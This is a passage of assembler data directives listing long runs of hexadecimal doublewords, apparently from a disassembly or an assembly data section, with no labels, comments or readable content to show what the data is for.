746956E3h, 0EBD7853Ah, 1FE6CF17h dd 2CAB7906h, 9DFA00B5h, 0DEA692A9h, 7F2BF57Bh, 7477F023h dd 0E638F28Ah, 595625CDh, 0D0136B16h, 1A50D65Fh, 7CE9E8D2h dd 0B0306A04h, 840FCD95h, 0C6D65366h, 0AB3E3EA6h, 3C23D88Bh dd 0D080D308h, 0F3CCF380h, 0B1CEE582h, 3B053774h, 0D223C17Fh dd 8C7820Eh, 0D53F1A4Fh, 3800AFCEh, 9DC62486h, 0C8733E27h dd 0A8620CA8h, 0AA2BE384h, 128BC349h, 2BD8C964h, 4D7053D3h dd 7CC63457h, 0A22C37E2h, 8D5465CEh, 0C45E86B1h, 0E605F960h dd 9E6FA858h, 7CA55D38h, 6F98B64Ch, 3EBD5E11h, 0A8DBDAF1h dd 11BBF0AFh, 0D0E17FFEh, 0D3BB9EC8h, 243A51E0h, 0B3E19165h dd 5008B37Fh, 0BF6C6691h, 70A3189Ah, 2D9C50BAh, 0E5F56989h dd 0D196798Dh, 997E9A44h, 8071B65h, 5D840154h, 635D269Ch dd 2811A123h, 204DC62Dh, 16DD2A83h, 0F8315E50h, 455AA8A0h dd 0C3C54307h, 1C2CAB7Eh, 7026CFDFh, 0DFEB9E32h, 0D34AA5BBh dd 1D7BF8F5h, 4F412B96h, 0A041C193h, 79367961h, 0B6FC05B1h dd 0D7F98C2Ah, 22C7A6ECh, 400EB57Bh, 495A22DBh, 4D799335h dd 89E98FC7h, 9E90023Ah, 8B64F3A1h, 76A41D1Ch, 11B16E8h dd 40AEE4D2h, 0C657924Eh, 0BC63CBB4h, 323FDF7Bh, 30ADF242h dd 0EAAE11DFh, 0E523AC08h, 3CA3CCCCh, 881CB36Ch, 3356E9E6h dd 37299C12h, 22C2A7EFh, 0ADE7A19Fh, 9E98F59Ah, 0BA0F137Fh dd 270B1279h, 0F2AFE5CEh, 586C0C5Eh, 83736560h, 894F43BDh dd 52022FCFh, 5599BA86h, 38D865D4h, 0A8D01E67h, 0BD5D7A81h dd 802AAD41h, 3DF2BDCFh, 778CFB73h, 0D27DF75Ch, 20F2401Ah dd 4568FFA9h, 0B750DA68h, 8BDA5EA7h, 0A5B651E1h, 73439568h dd 0A6F9271Fh, 88A2C2A6h, 0E5283893h, 0E97950CAh, 78F08DD4h dd 8B4F1EA9h, 380CC3E6h, 0EE02EE84h, 0EC5A0605h, 630C33DBh dd 0B5B9D8FDh, 0C59B3D81h, 40E44972h, 6895A1F9h, 24CC1C73h dd 65D8DCE3h, 5EA5F906h, 0D57B357Ah, 76659DB6h, 0EB0D1625h dd 0DF67A75Ah, 806FA486h, 0BD126CFEh, 6DC1F96Fh, 26A4D0D9h dd 2281B1Ch, 47CC1FFFh, 89BD3CECh, 89C50E7Ah, 0AB0B7089h dd 0FA89620Fh, 5D47F22Dh, 0A74966C0h, 6C9B9F94h, 0EA7FC220h dd 0B84B93B1h, 0C67F17E1h, 0E1026576h, 0B6A72670h, 0D53D40FCh dd 93CA7825h, 0CBC2E4Dh, 36A2C5Eh, 0FE6D824Dh, 0D102D58Ah dd 0B6C76DA4h, 0F934D2CAh, 7D88583Eh, 7241E3ABh, 0DC16884Dh dd 0D1ECD1D8h, 68457E36h, 0C406334Dh, 43BF5AA8h, 469D3ACBh dd 33C329E7h, 0F245E85Dh, 0B9A45F7Dh, 70AECBE5h, 0F3A334E4h dd 172C7E3Fh, 0FE6F701h, 0E556888Bh, 29EEA65h, 0ABBB3A02h dd 16EBC247h, 0F2A97D70h, 0A7C367Fh, 64315640h, 4265BD3Eh dd 0F9BD8BCh, 0B08CAC5h, 5BA3EC89h, 7CC30B0Ah, 0D3A3F9E9h dd 0F99582E8h, 17A7C9F5h, 1425EF35h, 57807929h, 0C081004Eh dd 84183E65h, 9AA70C5Ah, 27285D4Ch, 3FE75EF5h, 0B9CF6F30h dd 0B21C1FBEh, 981F464Eh, 32AB1DE1h, 0F86DF2D1h, 0D20DF22Ah dd 0CC0CA24Eh, 3F086B30h, 0EABD7EA9h, 1B8C5D5Dh, 0E2CCA36Ch dd 58106D39h, 0F6C8FCDh, 5C92D407h, 1D3F1A43h, 0D7788A15h dd 0ACA0ADF4h, 0FD0E7106h, 0B145A3D6h, 48053C94h, 899B366h dd 0E138DF85h, 0B2855F6Bh, 0D2999B0Bh, 9A45ADEFh, 7FA977EEh dd 0EE926D02h, 0EDA00123h, 6E7DA7C5h, 96DA2620h, 0D9340080h dd 2BEAA673h, 0AEA2CB01h, 4AB572ACh, 46CAD73Fh, 0E34FBEC2h dd 6F211580h, 0D69D307Bh, 3BAC8923h, 4CA8DFC0h, 78313560h dd 806420D4h, 0C3C70A4Eh, 0E22504CEh, 6C2ECDBFh, 0F0DB2A94h dd 0E0B36C05h, 4C68E1BEh, 0B6C72BAAh, 0B9F836B7h, 3402AEBCh dd 0AE999A01h, 712D1A5Dh, 9DD93A19h, 2A618BF3h, 0AF0EA559h dd 45556D6Bh, 4EEFCB79h, 8EA35DFDh, 0D99F68F9h, 0B96E7E45h dd 4EE47E62h, 0E8D42605h, 8EF0EA5Dh, 0BEF96EE5h, 9AE6A345h dd 0D11B239Dh, 0B52EF126h, 0D7310235h, 31FBCD12h, 0C0DD578Eh dd 0D87F7ED1h, 65A45A53h, 0C0E4C781h, 0B9FD5E14h, 42DBCD50h dd 3DC1A7CDh, 9ADCE33Ch, 1125868h, 0F4C04668h, 0ED6EC27Fh dd 4739903Bh, 0EC7B5680h, 8A8313Eh, 26C679EBh, 123C163Fh dd 44AAE836h, 91D0B2Ah, 0F42AD93Bh, 0D754D2B4h, 11B6AB09h dd 8206FF9h, 0A8BE15E2h, 0B3CD16ABh, 0AE1A0360h, 8644ECB8h dd 0FA60021Fh, 0BD3F8F06h dd 62D7D73Eh, 0CC5EF241h, 0AD9E760Eh, 0C7F29460h, 17F53700h dd 2473D4A8h, 0E7F0E1D3h, 29163D09h, 353445F8h, 4FFDF250h dd 0F2770624h, 6E80A686h, 7577A160h, 0F28F9395h, 0E1A26D60h dd 0F1F90618h, 0D6DA71B8h, 95C0816Fh, 0EC9DEF2Ah, 7F51BC45h dd 0B0B5A735h, 7B748FE6h, 0D9AFBE0Ah, 0E9F010B7h, 0A53CEFCCh dd 3E486E64h, 67726BFAh, 8435691Ch, 0CFB734BCh, 0D5A10B4Dh dd 3131CA8Ah, 931AC404h, 6EC83587h, 9CEB6071h, 37F9B0EDh dd 4FD1232Dh, 0D24D10FAh, 700913FDh, 0F24641FFh, 0C871BC16h dd 8B2855AAh, 48B95545h, 0B65EB432h, 0D1A4C6A4h, 54D067CEh dd 5291964Dh, 0F33139ECh, 7C5217DEh, 0DB7706A4h, 16595873h dd 40CD70BDh, 8CA1B4CBh, 0FEEEBFF3h, 252ED4DDh, 696B16h dd 95A1234Eh, 9055EB83h, 833ED70Eh, 617086B5h, 97AC9F55h dd 13D86C0Ah, 0B53D1501h, 0D05C93A6h, 4DBAF2D1h, 21D63BEFh dd 0DE32681Ch, 0CA539681h, 0A342DB55h, 29D3DB36h, 502E0A17h dd 12426F6Dh, 19B3CE6Eh, 0BEDA99EEh, 735E28C6h, 466570C9h dd 9F092DAEh, 0D5F76496h, 0C04DC9DAh, 8298C8A0h, 91A84183h dd 63D9E71Ah, 81D33F2Ah, 88458DA4h, 0ECE9C78Dh, 5A324909h dd 1037123Ah, 0ED54247h, 0C4B2B6EEh, 0C56DBA6h, 0D215BEFDh dd 421A508Ah, 63663042h, 1ACA8DF1h, 0DE620166h, 7F5D6563h dd 92FB44DEh, 0AD6F221Bh, 6154F638h, 0EEF64C23h, 0A0A7E0AFh dd 9E913164h, 3F3B02FDh, 2125C682h, 0B215EF80h, 96EAB259h dd 47D9DDDAh, 36BF7AA1h, 58C4C7A1h, 0AE80FA12h, 3A3E7E96h dd 8D387C3Ah, 5EA90538h, 31010334h, 176612CCh, 0B4CD63E0h dd 69A8E0E0h, 50AB8761h, 0E68143B8h, 9CFE5171h, 0C71C8724h dd 915B89BAh, 0A024E73Bh, 0F8120146h, 3D4FF88Bh, 3ED1442Bh dd 14EFABBCh, 2AA70F9Dh, 32A40763h, 0A37A4D8Dh, 15E62F89h dd 523D4D62h, 0BBEA60C5h, 5746E43Fh, 2B24336Bh, 572BF8CAh dd 2CF0CCEh, 0EA3CB097h, 60BA7036h, 3B2E2DD3h, 31731D15h dd 8F6478D8h, 0C88B53B6h, 9A696BEDh, 6BDB1C23h, 325A8D3h dd 0C91992AFh, 9F625C89h, 0B02C5F3Ch, 0DB3F6625h, 2399902Eh dd 0C326AD58h, 0DEEA7Eh, 0CF5F8826h, 119D347h, 0EB64BF50h dd 59D293F2h, 4C82E377h, 929DCC59h, 20C1369Fh, 7EA9B88Fh dd 14B7992Eh, 0F34EF90Eh, 381C566Ah, 77879F56h, 1B4FA612h dd 6EE49202h, 181375FEh, 95F0E990h, 10E02DCCh, 1B655F8Fh dd 0A0E9FB99h, 71B7ECE6h, 0C59AC723h, 0AF9BE725h, 772172A8h dd 588F151Ch, 0DB323C70h, 0D507A102h, 78DA424Eh, 0F40D54C8h dd 466D6B23h, 22D9394Dh, 16AF724Ah, 0CFC085FCh, 7CCC2D6h dd 51236285h, 0C7268E43h, 9FECCD79h, 0D35C98EAh, 228EE74Eh dd 568505CBh, 0E1F4CF16h, 1BB07767h, 678825BDh, 6A1E0DA2h dd 26A01B43h, 6E71A2B8h, 0B22531Dh, 0ED0ADBEBh, 7907A6BDh dd 0AE0532C0h, 323640ACh, 0AFCDE8AAh, 0BF23AF50h, 5F75C2C7h dd 3BC80559h, 0CF727D8Bh, 1F573B49h, 34F73E43h, 511F706Dh dd 57BFAFB6h, 0CD58C3B4h, 5BBB5C7h, 606C2074h, 0CAC32D3h dd 51F0EADDh, 0C85F12F0h, 48215ABBh, 0A509A972h, 0E278FEA5h dd 0FBD4030Ch, 0E280DE91h, 8CDE52B9h, 63B5B2Ch, 0FFBDC3EBh dd 8B201BEEh, 69CAE2BBh, 22BFC929h, 765FC334h, 0BAC51AC1h dd 0FD78FAC2h, 20C6652Bh, 0FE2EE2D9h, 0C319E5EFh, 2172F565h dd 0D43A307Bh, 9C1B5D36h, 0DDF4D5DEh, 41AAFFACh, 0A3931ECBh dd 512C3C4h, 0BA0FA716h, 22A0D4D9h, 0A678D903h, 0B3EC9C9Fh dd 0B92459B3h, 0E0EED2A4h, 17BFEC5Ah, 0F620A8B4h, 0B65D3E16h dd 5C450EA0h, 0CE6C765Ah, 0EBF2E1E2h, 3809EAD9h, 0CFE91FAEh dd 4C97B1D0h, 92AE331Ah, 75010E66h, 0C7091B5Eh, 316F019Fh dd 17024764h, 0C64D61BCh, 0C9278478h, 0D9CF8A43h, 125547FAh dd 8B084FDDh, 0A0EDE89Eh, 57BFB5E1h, 8BD12A86h, 77FB262h dd 3497DA9Ah, 0E1041A47h, 86DBB9DFh, 66072022h, 5F2020C9h dd 1BB45494h, 51C8C86Ah, 0DAE81F74h, 0B7A6585Fh, 9565773Ah dd 926830F2h, 74768FE0h, 235EBBA0h, 1B78B1FBh, 20810222h dd 7EE460CDh, 0BAB99C18h, 0D276E9A1h, 80C945EBh, 8AAFBF42h dd 297809DAh, 0E79CBD96h, 8B3B400Fh, 99408FB4h, 208A5CCBh dd 35B1A15Ah, 34F7D0A4h, 687751E9h, 0F5065FB6h, 0C3EFDA22h dd 40B849CAh, 6B7831B2h, 0F4DDE7A8h, 0AA260B55h, 22480CB9h dd 119F17CEh, 9091B156h, 0E94122A6h, 0B8BFDBB8h, 0D8EC0202h dd 0C294BC56h, 68EAF1DAh, 0ED2DEEDDh, 0EE06DC53h, 0AEB8C60Ah dd 0C0EE0B4Bh, 0F542C908h, 4CE33663h, 36B990A6h, 8124A04Dh dd 0F7A3CDDEh, 82C86CC6h, 62233AC0h, 82802B44h, 0E8607B7Ch dd 1FB9FFC6h, 57E6050Ah, 0DA59E90Eh, 0D838A72Eh, 7BEF3D80h dd 80923DD6h, 70123B1Fh, 0CC90909Ah, 70E8C881h, 282AC702h dd 0FF26E941h, 179DDCA8h, 0AA717783h, 0AC93DFA4h, 178FED68h dd 9B548814h, 3D73449Bh, 0D09558B6h, 1B56DF88h, 0A2C0F0C5h dd 0F2597515h, 580D7DBCh, 76D781E6h, 31733069h, 95B1DD4Ah dd 5EF4946Dh, 0B8E184B1h, 82DB8D79h, 971B3CC8h, 4AD30031h dd 0AEF9E288h, 0F82C6D0h, 0A22F7EADh, 1BCBEBC3h, 8451A0A1h dd 7F106987h, 0E64CD4ACh, 0F52577A3h, 0C5FB776h, 0FFCE638Bh dd 0ED289F2Dh, 93AE759Fh, 2A3CB73Bh, 43C34446h, 0B946C974h dd 8CC04C06h, 835D6A9Dh, 7C93A8D9h, 9ACF0FC8h, 0C916F1D7h dd 97EC6759h, 0A20D1DA3h, 0DC2A8AB5h, 2E6564A0h, 0B1FC8A1Fh dd 829F0FD0h, 2F65A7AEh, 0E85C8A21h, 0AEF9716Ah, 625DD594h dd 0F9E84FD9h, 0C1CAEDC2h, 0D1772DEDh, 5AA53DB2h, 99A74E1Fh dd 0B54C0168h, 1BBA82D1h, 0B33FA69Dh, 807CF185h, 2C843530h dd 0EEC4448Dh, 9BECF007h, 170FAC01h, 0E4B0B99Bh, 207392CEh dd 42BD7F07h, 49EE2111h, 62033DB6h, 0DD73DD0Ah, 0D7950249h dd 224D540Eh, 6B0BA800h, 84922631h, 3D16BCD7h, 0E4FB7A10h dd 0C07B112Fh, 3A3F5692h, 2327D2D5h, 0F136B022h, 98F273A0h dd 0C5F8EC2Dh, 0D33EA5EDh, 0B6E92EFDh, 6EEAD0A1h, 8B9FE44Ch dd 86970DC5h, 0F7BFB95Dh, 55DD2AF0h, 0E829D4E7h, 7D145D52h dd 0A09D2A9Dh, 7A108334h, 0E15A92FBh, 407E187Bh, 3563639Eh dd 0AFA71DB5h, 0FFC2740Dh, 41FA6364h, 0F9FACE0Ch, 9D32FF5Dh dd 0E6F0A74Eh, 0FE0EDDDAh, 0A3881163h, 0B71408FDh, 3E1E53C0h dd 0EC2AAF1Ch, 4E08EB17h, 5C68A49Eh, 102F75B8h, 0D83757F2h dd 694363C4h, 24CC55A5h, 2D5F72CDh, 42D6997h, 578C85A2h dd 0F15B3C27h, 0BABC6C9Eh, 4599800Fh, 0A9FF14B0h, 6634E18Dh dd 6B4A85CFh, 63EBD11Bh, 4CDA8063h, 0C72F93BDh, 5A17BD07h dd 6CA1A652h, 6987B152h, 95E07442h, 0D8B4E5F7h, 138FED9Bh dd 0D840DD44h, 7D9A791Fh, 14DE711Ah, 2179932h, 35D9EA21h dd 0D4E1BF35h, 62B2B803h, 6288BE67h, 0DE70ED8Ah, 0CEE6FF9Dh dd 143D1368h, 0D6300EEAh, 94497917h, 0BAF1BDC8h, 296F5ADBh dd 49C766FBh, 51D623h, 413D43D4h, 0ED3D5B17h, 0D9F0B2BBh dd 0B7269FE3h, 0D0A200E5h, 0EF5B993Eh, 9F4FABh, 1D94358Ch dd 527946B2h, 1D83C236h, 0DB23DB35h, 0D831C6ACh, 8936A951h dd 0ACD8672Bh, 0BCC569D2h, 4708438Dh, 0D41BDB0Ah, 44941A6Ch dd 0E08288ECh, 55CDA847h, 45120C51h, 99F91F3Bh, 0CD7ADB5Dh dd 0F84DCFD6h, 7B1CEBDFh, 0EC76691Fh, 6B87CA93h, 2D2F7F9Ch dd 0F5753BA8h, 5F4858D6h dd 0FEFE2670h, 6E9A55EEh, 0E7FCE39Fh, 8792931h, 73111680h dd 20DE607Ch, 0DB0978E5h, 957E70D5h, 7E2B9A4Fh, 0F243CA05h dd 1B269A6h, 81414859h, 0A92AB19Fh, 615C0F93h, 0DB1CF0EBh dd 23025557h, 9FB05CB3h, 0C8EE258Dh, 0FB054351h, 28387927h dd 0E572C488h, 0FBC50191h, 0A090DB37h, 0B0AF498Dh, 0F793B2C2h dd 8D3B8AF8h, 1985C328h, 478D4797h, 1B1A485Ah, 0E292AB4Ah dd 487D154Eh, 56B87A34h, 0CABA6EDh, 0DC1CE267h, 0A56E62C0h dd 0D43B8CD3h, 0F531A2ACh, 3CB42E4h, 950EBDA0h, 6B07C7DEh dd 0E500FAABh, 69EFF829h, 8771C89Dh, 0C2FBEE91h, 0BAE9C896h dd 7339770Fh, 3EA70E63h, 7C16D4DFh, 0C0031835h, 1E4DAC61h dd 2FEEF9DDh, 904F33F0h, 0E699AE6Eh, 0E11FC09Ch, 0EF14367h dd 107BB2Fh, 7DF33C12h, 85F808F9h, 0D5A3FBEAh, 30A948AAh dd 0B3E10C1Fh, 0E489BF4Ah, 0EC6D4E3Ch, 55EFEFF4h, 0E8035102h dd 10AF442Fh, 66DA49F4h, 0CC167466h, 0CE94BB14h, 21F79586h dd 72429C89h, 6A8171CAh, 0C4591E10h, 829CB9E6h, 3B9CF605h dd 0F6E9D626h, 399A936Ah, 80113D4Ah, 0D8C7D0ECh, 0EA5015B8h dd 995ED6E0h, 991D732h, 0FDC8B828h, 26940421h, 1B63E3B1h dd 39F24EF8h, 65322E77h, 0DF27EBF9h, 3FF3CA34h, 5261C28Bh dd 79E7B29Bh, 11A3A346h, 9409A97Dh, 30EAD216h, 557CF39Dh dd 9B6BB80h, 670F68B1h, 0EFA29085h, 767614BDh, 45751E74h dd 0A92EB311h, 0DD24DDF5h, 0AF05EA7Bh, 0AEE77C15h, 90C82E9Bh dd 55541EBh, 12A256DDh, 0E9440411h, 2179E27Ah, 398AE7A8h dd 65CF8046h, 370D9339h, 0DB8233D1h, 0BFBE36A0h, 14F49578h dd 0B5AA4C5Bh, 853F9577h, 7F4841Bh, 75D5DB20h, 7690F303h dd 8D111502h, 3069EB8Bh, 1A6B6C4Fh, 49AAFD49h, 47E9AC39h dd 2315B1C5h, 970861C0h, 2493B30Dh, 0B2D8A4D9h, 87EF682Ah dd 7D3719A7h, 3F82D448h, 5664E566h, 12056819h, 437505Fh dd 0E9028C83h, 0E62C6E65h, 0F963C387h, 539B507Dh, 2F28D734h dd 3FA5E36Ah, 0C1A34234h, 529698B8h, 18359893h, 0C745E74Eh dd 0E3595538h, 0D9D504BAh, 5641D1B1h, 1BFEC170h, 830B0C15h dd 66A9CEB6h, 1A797A7Eh, 0D3DBF3EBh, 3C225E99h, 2C52FA29h dd 38057AE7h, 91250CF0h, 0F3D4ABB2h, 14BCA55Ch, 0D8BE6B38h dd 70EA70EAh, 56E2853Ch, 9C20468Eh, 41AEE3CCh, 8D79F397h dd 0D79C18CCh, 0AF875B33h, 0B2107422h, 0ADE1341Dh, 53B91E7Ah dd 8C35A3C2h, 86548F51h, 0DFA8FF69h, 0E2FCB1D5h, 0FC516F23h dd 1016B76Fh, 0E1EB2DDBh, 7418965Ah, 6D74DE8Eh, 927F72F0h dd 37831FD2h, 32CC1051h, 3BB469D8h, 1BDBAD87h, 190391C2h dd 0D957195Dh, 47DF6AEh, 7AD2AAAAh, 90BF46C8h, 7A40D18Ch dd 267B455Ch, 229F685Bh, 0B1A50CE2h, 6850FD96h, 6D62CF50h dd 0A3978C2Dh, 58454B7Ch, 6CABFE8Fh, 7CEAE61Bh, 0C8E690D8h dd 0D576223Eh, 2D8F503Dh, 0D2CB828Bh, 40F379C1h, 0D8806443h dd 6D78AB12h, 0F43236D3h, 8BF50354h, 88D53621h, 7D7D4453h dd 0E3FB1265h, 529FB138h, 5D13EEEFh, 0B29C3A88h, 8A56E229h dd 0D3E3EA0Eh, 5A6D3FB2h, 0BA25D6Fh, 66E14770h, 3DA7F3E6h dd 0FE251261h, 0DE690734h, 5F96B5BDh, 0C53B4052h, 6AB0FABCh dd 352EB25Ch, 0C2D3A212h, 0E8DD89D0h, 715F3315h, 36C06B5Bh dd 3ADEC72Ch, 849D2C6Dh, 79F59656h, 6176CD52h, 6ABD4652h dd 0CA23B085h, 8A3731C0h, 0EC75E964h, 0C96F7B8Fh, 0D0FA5045h dd 31FBACE3h, 0DC1FB928h, 86FEFD08h, 85D72F41h, 46AEBB75h dd 575B018h, 9882A657h, 241E8E42h, 0E9AB63F9h, 0BF447804h dd 2499596Ah, 0DC5CD6CFh, 803581D0h, 5F726D77h, 141A9404h dd 8C63E16Bh, 0C10009DCh, 94BDF517h, 8B1E1D2Eh, 40C87F0Eh dd 6AD5BB6Fh, 54E2F1C0h, 25A53C59h, 3B18ABFAh, 0CF4C7FB2h dd 0AAEEF457h, 0C1189E5Bh, 26C9FFE6h, 4F2AF4A0h, 48D6B9B7h dd 414AC51h, 0C23DAFFBh, 0A8795A48h, 4B40D716h, 847F7511h dd 8726BAF2h, 7423810h, 4CE698F4h, 0A338C75Fh, 0B9E052AAh dd 4F7385DEh, 0B50A022Ah, 32BB92FEh, 9C835764h, 4557B5EAh dd 0A5D83A3Eh, 1FFE82FCh, 3C0B568h, 0B59AAA07h, 7E4A9FA2h dd 5F75B1E9h, 4F0D88ECh, 799866Eh, 9B47D728h, 6B1FAA15h dd 7E58EBA3h, 7A8F4A06h, 2030D45Bh, 0FB7BC145h, 0B796C95h dd 8F9152E0h, 196B822Ch, 0FC8AECCDh, 9FB17CB7h, 0EC1354B6h dd 3A7BDCC8h, 313F0FCEh, 34A07F1Eh, 0A1DE8CF8h, 0A21B4C81h dd 5E6D8687h, 49D7F57Ah, 151BACF1h, 0D3FBBFB0h, 0DAE33422h dd 4E536F2Ah, 2E0C4951h, 0B70F5507h, 8D5D30B7h, 943BF87h dd 568DBF3Eh, 96219D8Ch, 0C03D53BAh, 0B6E945A2h, 0A0CD9C09h dd 2423982Eh, 7C76EE9Fh, 73E4952Ch, 0D8C7B2DFh, 430D9252h dd 84F0C4FEh, 6308A693h, 4FF26055h, 8E50157Ah, 5ED7BC51h dd 4EADEAEAh, 8B0CF90Ah, 0C20E1D6Dh, 0D393D394h, 129C920Bh dd 1F70FA46h, 421E2F7Bh, 77F1676h, 48E78086h, 0E1D96C9Ah dd 0AA231F91h, 35DA6A9h, 4EECC4C6h, 0F79169A0h, 92732041h dd 0F91CDDF0h, 0E9D81860h, 3D167BC1h, 32184490h, 0B561DA7Ah dd 7014BDB4h, 1E877416h, 1B5E5324h, 26B61B13h, 7D48D1B6h dd 0DF6389E9h, 40A4B756h, 400901FAh, 4DE07E64h, 3B3943Fh dd 0D9962988h, 0EFD5856Eh, 7F570F03h, 13B0823Bh, 7DBB30D7h dd 0E3A428E3h, 27FBD962h, 0F909CC04h, 0CB991AEAh, 54DE4539h dd 5BD1D43Ch, 0E20C4DCEh, 89F8E894h, 0FDFD7377h, 2FC6203Ah dd 0C6C05911h, 0BED8224Eh, 1D1493C9h, 351D0E5Dh, 85197813h dd 0D2103F7Ah, 0BE572712h, 546644A6h, 0D08C282Ah, 0F8EFC9BEh dd 7B8E7026h, 0D25BA4ECh, 55011FE9h, 10538838h, 1C250CC9h dd 4501C6D6h, 0A5E05978h, 3514447Dh, 0AD24ACBAh, 0D6AA309Ah dd 41500481h, 8A06DE00h, 1779DF87h, 8EF73A81h, 0EB2E39FBh dd 0CDA1702Ah, 2A4A8F2h, 0ED5C6C30h, 520A1916h, 0CACFFF3h dd 0D442301h, 75384F5Bh, 0E53AECD9h, 767E79BDh, 4FF62038h dd 0E96CAA6Ch, 40B51ACDh, 2383AE6Dh, 738C4728h, 9CE29EC1h dd 7DC04E31h, 565816AEh, 0ADE628C7h, 42A41FB9h, 9931119h dd 0B90B56F0h, 0B43E966Ah, 0E22CCB16h, 0DD10E7BEh, 0E54BFFDAh dd 9B6F0627h, 0FE3D18E1h, 0CD8425B9h, 87D99DA5h, 231C3C24h dd 94555F58h, 0C02F11C4h, 0D511AB33h, 382D82CBh, 5D612CBh dd 3C4D6760h, 45B20F0Ah, 94FC93Bh, 0ED1FBDDBh, 69A6E8E8h dd 0C6658553h, 4250A88Bh, 2FAFADDh, 0ED76576h, 8FC90BAEh dd 47702EF6h, 0AA85EFB2h, 0B534AC23h, 596FFE10h, 0E820379Fh dd 0BB3D4D76h, 0ED3F072Bh, 30BBB106h, 2250F60Ch, 1014DEDh dd 80683738h, 5AB9C253h, 626BEE10h, 52B2AEA2h, 0F26D4176h dd 2FF257ABh, 79D851CCh, 0FF01FAC7h, 0BEACC3B5h, 0A1E3934h dd 974F7B57h, 1E99274Bh, 72AB64EBh, 0DB0FFDF0h, 0AF534BD4h dd 0E24CAA71h, 0BF01EA3h, 0C97CC9A9h, 0C5B25030h, 470A40E0h dd 0DF0887B0h, 9B50C451h, 674E5818h, 0C3FDFF67h, 0AF2709BCh dd 105F3D9h, 0AED8ECBh, 5AC98459h, 57864208h, 0A2A23B39h dd 94348F3Ah, 6741D676h, 0D6BBACABh, 7425A0C2h, 0A5DF997Fh dd 3E7E6E5Eh, 0D39E1F78h, 9C2189FBh, 0BB0810CEh, 804D49E2h dd 754DAF20h, 7039F34Fh, 6B8596D2h, 0CAD512E5h, 0B54792F8h dd 0F697FB64h, 0CE3417CBh, 0AE50C878h, 0AF2FFE3Fh, 25E5F3E9h dd 642B2BFBh, 7BD6B871h dd 72BAD6Ch, 0F8F794BEh, 2E1FF1A5h, 0AEE50F3Ah, 0DD4E2430h dd 2F95E102h, 0AB1DD8ACh, 0A9E543B2h, 0B8FB02D6h, 5218610h dd 0AB6ECB07h, 4A96C99Ah, 0BFB934D0h, 74A0C7B5h, 0C625E27Dh dd 679C81Ah, 74F1358Dh, 0E5E05A9Fh, 22E2AAFAh, 0B7533E23h dd 0A10A45C6h, 7973D18Bh, 0A79DF81Bh, 49311753h, 3E4C5160h dd 0B0100ED5h, 9912C8FBh, 60853643h, 0F1EE6316h, 68596E96h dd 0A86060DEh, 63032522h, 7B23432Eh, 0F1050452h, 0D515A695h dd 95152CABh, 0E4E9E7BCh, 65995C65h, 6101B0CDh, 8DFA6657h dd 819B5A5Ch, 2DC7C0C5h, 1CD19DACh, 4C0F7941h, 5883CB9Dh dd 0F9353C38h, 9A31445Fh, 0D5D08DAFh, 0EEE9476Dh, 0CE0E9628h dd 0E91D9A14h, 0D6E47740h, 1083027Dh, 0C5FC8C76h, 0F14664D4h dd 70311B9Bh, 0E409C53Eh, 9E9CFE5Fh, 0D352F59h, 28CDC141h dd 0A6F3B214h, 0CA136720h, 55E72145h, 6FB852B6h, 0CC0BCC44h dd 0B246EF28h, 7806F254h, 0EB3B296h, 32CAB406h, 86638B6Dh dd 36547015h, 0AA661CA9h, 0BFEA507Ch, 0E0FA58B9h, 286B618Ch dd 20E89CA0h, 571FE761h, 0A9023CABh, 0FB27D9F2h, 0F00EC276h dd 8F50022Dh, 6CBD5FC1h, 6F381041h, 134552CDh, 367EA452h dd 0D6BF2DF2h, 594588D2h, 88AFA045h, 0FBC8415Ch, 806BF595h dd 1AD457D2h, 0DA336AF5h, 0DA70A320h, 0E88C8C3Ch, 0F7C50199h dd 103C97ADh, 8D7055E6h, 0B829CEFAh, 0BED22CAFh, 264223CEh dd 91E292E4h, 26E658F4h, 0D26EFC5Fh, 8C14EC5Ah, 6F44719Dh dd 505B0F2Dh, 0F059B551h, 0DB8F280Dh, 838CD2D7h, 0E6979EF9h dd 902D4BBEh, 92BAACC6h, 915195A8h, 10A09358h, 8185388Eh dd 4DAB7063h, 0B736D7F6h, 35A8FA90h, 7C5421F0h, 41375B6Fh dd 82A5F573h, 2EE43F70h, 172EA295h, 0E40CA4D1h, 9C12B501h dd 9D1DD435h, 1F734F12h, 1808C915h, 4C3B9333h, 1B3B52A6h dd 50405EF8h, 0D3AFEC57h, 0C6DA5E77h, 0C0423039h, 0A2FF13A4h dd 0D7290EFAh, 8BC1AD3Ah, 0B055AA6Fh, 209FAC04h, 3A648B3Fh dd 0A383C839h, 0E2F1884h, 1B9E277Eh, 0C51A4E3Eh, 4BBCFB7h dd 559422B5h, 41732EFEh, 8A388E21h, 57DB2CA8h, 124EB699h dd 98CDD132h, 239F69DEh, 38F4F930h, 91DAF02Bh, 566B19E3h dd 0F6468366h, 0E7B52402h, 0E2227C77h, 559D0FF0h, 77C2E2C2h dd 24708BBEh, 0C532B62Ah, 19DC9920h, 0FF68DB16h, 540181B3h dd 0CC523ED0h, 5A8B9C18h, 1F2D2A62h, 0E402B259h, 6D31A79Ch dd 0A7B39C22h, 0B63DAE23h, 202E51D4h, 551E4546h, 861B4430h dd 54D39D33h, 0F0C2C70Ch, 0B827D77Eh, 6A306909h, 7E4C027Dh dd 49D50C93h, 4C8301DAh, 0CEAA0278h, 0DDD2FD65h, 0BA14029Dh dd 0CB009047h, 81616218h, 100E7B84h, 7B305573h, 0B8449D5Fh dd 0E0E0A23Ah, 30B5A51Eh, 0ED7A5E93h, 26DA0DBFh, 7CE29200h dd 7A6EBA6Dh, 0D76F8AB5h, 0FBFD1D98h, 0EBCA1249h, 9E51E2DFh dd 0A278776Ch, 1B54888Fh, 0BE88B504h, 0E195403Bh, 318D4C39h dd 0E8CE3513h, 649E2012h, 0E4529C29h, 597FD639h, 8BEEDF10h dd 3405DC06h, 375DAE7h, 7674A9F1h, 229A2F81h, 8FB1C16Fh dd 2ADD47A9h, 0E1061D67h, 0D6CD46F0h, 0E580B5ACh, 9D3442AFh dd 7A094E37h, 0A2ECC23Bh, 53C65638h, 18A5AF15h, 0CCDDA894h dd 3530D30Eh, 52B489D7h, 0D9D8B49Ah, 665508DFh, 1DEA9499h dd 85D69C98h, 6D52C876h, 8DADB94Fh, 0DCDD94B7h, 9E1D676Ah dd 662A02C6h, 4152F69h, 327E1C83h, 0A59EFD4Dh, 4C9BB618h dd 0FEF33591h, 0A025FF38h, 0E81DD226h, 15B7C8CFh, 8C71FBBh dd 79493D65h, 0CE044ED0h, 65EE8A2Ah, 0D492A7B7h, 8324A304h dd 0FE9DE6B6h, 4ED1A75Ch, 6FD84402h, 244FC3F5h, 52292B09h dd 0DFBA6A05h, 75960B16h, 